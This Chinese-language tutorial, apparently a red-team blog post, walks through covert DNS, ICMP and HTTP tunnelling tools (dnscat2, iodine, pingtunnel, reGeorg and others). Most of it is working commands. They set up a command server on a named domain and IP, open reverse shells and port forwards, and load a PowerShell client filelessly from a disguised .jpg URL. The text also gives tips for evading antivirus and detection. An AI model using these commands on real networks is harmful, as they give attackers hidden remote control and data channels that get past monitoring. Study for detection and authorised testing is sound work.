测试市面上的UDP ICMP隧道。
端口映射
DNS隧道
dns2tcp、dnscat2、Iodine、OzymanDNS、SplitBrain、TCP overDNS、TUNS、DeNise、Heyoka
dnscat2
实现内网靶机的端口映射到公网、shell控制、文件下载等功能。
条件:一台公网IP的服务端,一个域名。
运行环境:攻击机需要安装ruby。客户端可以源码编译,但面临病毒查杀问题。
一、域名添加两条记录
- ns记录,log.allsec.top,值:ns1.allsec.top
- A记录,ns1.allsec.top,值:VPS的公网IP
即,log.allsec.top的子域名下所有DNS解析,将交给ns1.allsec.top服务器处理。
测试,在ns1.allsec.top(公网VPS)抓包DNS:
root@ns1.allsec.top:~$ tcpdump udp dst port 53
在任意本地发起解析请求:
root@local:~$ nslookup aaa.log.allsec.top
在ns1.allsec.top服务器,若tcpdump抓到对应的DNS请求,证明配置成功。
二、服务端-环境搭建
git clone https://github.com/iagox86/dnscat2
cd dnscat2/server
apt install gem ruby-dev libpq-dev
gem install bundler
bundle config mirror.https://rubygems.org https://mirrors.tuna.tsinghua.edu.cn/rubygems
bundle install
三、客户端
下载二进制(不免杀)https://downloads.skullsecurity.org/dnscat2/
或编译源码
git clone https://github.com/iagox86/dnscat2
cd dnscat2/client
make
运行
./dnscat --secret=aaaa1111 log.allsec.top --delay 5000
四、服务端
1、服务端开启监听
cd dnscat2/server
sudo ruby dnscat2.rb log.allsec.top -c aaaa1111
#-c 代表密钥值
New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2>
#进入窗口1
dnscat2> window -i 1
#反弹powershell
dnscat2> exec psh
2、端口转发功能 #映射内网22端口到VPS服务器的2222端口
command (kali) 4> listen 2222 192.168.174.149:22
3、建立shell会话
command (kali) 1> shell
Sent request to execute a shell
command (kali) 1>
New window created: 2
Shell session created!
New window created: 2
To go back, type ctrl-z.
切换到shell会话
dnscat2>
dnscat2> window -i 2
执行命令
sh (kali) 2> ip a
sh (kali) 2> 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
dnscat2-powershell
服务端:
开启–no-cache,兼容powershell客户端。
sudo ruby dnscat2.rb log.allsec.top -c aaaa1111 --no-cache
客户端:
准备客户端的powershell脚本:https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1,上载到云服务器,改名为jpg后缀。
法一:(脚本不落地)
#Powershell IEX加载
IEX (New-Object System.Net.Webclient).DownloadString('http://114.132.230.157:9090/dnscat2-powershell.jpg')
#启动客户端
Start-Dnscat2 -Domain log.allsec.top -DNSServer ns1.allsec.top -PreSharedSecret aaaa1111
#-DNSServer参数指定解析NS服务器,按道理不用设置的,可能DNSPod的NS记录同步不到其他DNS服务提供商,-PreSharedSecret参数为密钥
#一句话(被杀了)估计是因为{powershell.exe -nop -w hidden -c}的结构
powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('http://114.132.230.157:9090/dnscat2-powershell.jpg'); Start-Dnscat2 -Domain log.allsec.top -DNSServer ns1.allsec.top -PreSharedSecret aaaa1111}
法二:
下载dnscat2-powershell.ps1到目标机
powershell -exec bypass
Import-Module .\dnscat2-powershell.ps1
help dnscat2
Start-Dnscat2 -Domain log.allsec.top -DNSServer ns1.allsec.top -PreSharedSecret aaaa1111
#增加延迟、设置包大小上限,测试设置LookupTypes为A、AAAA记录会失败。
Start-Dnscat2 -Domain log.allsec.top -DNSServer ns1.allsec.top -MaxRandomDelay 5 -MaxPacketSize 180 -LookupTypes @("CNAME","MX","TXT") -PreSharedSecret aaaa1111
参考链接:
Powershell+Dnscat2实现DNS隐蔽隧道反弹Shell
iodine
现成的二进制包:https://code.kryo.se/iodine/
C/S架构实现,客户端服务端间建立隧道互联。
条件:一台公网IP的服务端,一个域名。
运行环境:可以源码编译。
服务端:
环境搭建
git clone https://github.com/yarrick/iodine
cd iodine
make
运行服务端
cd iodine/bin
sudo ./iodined -f -c -P aaaa1111 172.16.110.110 log.allsec.top
#sudo ./iodined -f -c -P password tunnel_ip[/netmask] topdomain
#-f 保持前台运行, -P 密码,tunnel_ip[/netmask]为指定的隧道IP
在线检查配置是否成功,https://code.kryo.se/iodine/check-it/,输入域名log.allsec.top
客户端:
windows。
需要tun/tap虚拟网卡驱动,openvpn开源项目有tap驱动,以下链接下载安装。
tap-windows-realease:https://build.openvpn.net/downloads/releases/
面临网卡启动等netsh命令被杀毒拦截的问题。
管理员权限。
iodine.exe -f -P aaaa1111 ns1.allsec.top log.allsec.top
#iodine.exe -f -P password [nameserver] topdomain
#nameserver参数是DNS服务器。若不指定,则查找/etc/resolv.conf文件。nameserver is the IP number/hostname of the relaying nameserver. if absent, /etc/resolv.conf is used。
#topdomain是你的域名。topdomain is the FQDN that is delegated to the tunnel endpoint.
linux。
#指定直连DNS服务器,流量更明显
sudo ./iodine -f -P aaaa1111 ns1.allsec.top log.allsec.top
#不指定
sudo ./iodine -f -P aaaa1111 log.allsec.top
参考链接
Getting tap-windows releases - OpenVPN Community
dns2tcp
https://salsa.debian.org/debian/dns2tcp
需要服务端是边界机(双网卡-公网IP+私网IP),客户端无要求。
apt install dns2tcp
ICMP隧道
ptunnel
服务端
sudo ./ptunnel -udp
客户端
sudo ./ptunnel -p 114.132.230.157 -lp 8000 -da 114.132.230.157 -dp 8001 -c eth0 -udp
参考链接
pingtunnel
服务器端
sudo ./pingtunnel -type server
客户端
搭建客户端1999端口到VPS的9999端口隧道,其中1999端口为绑定监听,服务器端则是转发流量到9999端口,需要另外运行工具来监听9999端口。
sudo ./pingtunnel -type client -l :1999 -s 114.132.230.157 -t 114.132.230.157:9999 -tcp 1
sudo ./pingtunnel -type client -l :1999 -s 114.132.230.157 -t 114.132.230.157:9999 -tcp 1
内网通过隧道访问公网
通过ICMP+socks5隧道,客户端通过本地监听4455的socks5端口上网
sudo ./pingtunnel -type client -l :4455 -s 114.132.230.157 -sock5 1
proxychains curl cip.cc
参考文章:
HTTP隧道
sudo apt install python2-dev
python2 -m pip install pycrypto httplib2
python2 abpttsfactory.py -o webshell
2016年blackhat介绍: https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun Github: https://github.com/nccgroup/ABPTTS
https://github.com/nccgroup/ABPTTS.git
reGeorg
2014年blackhat介绍 https://www.blackhat.com/eu-14/arsenal.html#regeorg Github: https://github.com/sensepost/reGeorg
HTTP tunnel for Node.js (https://github.com/johncant/node-http-tunnel)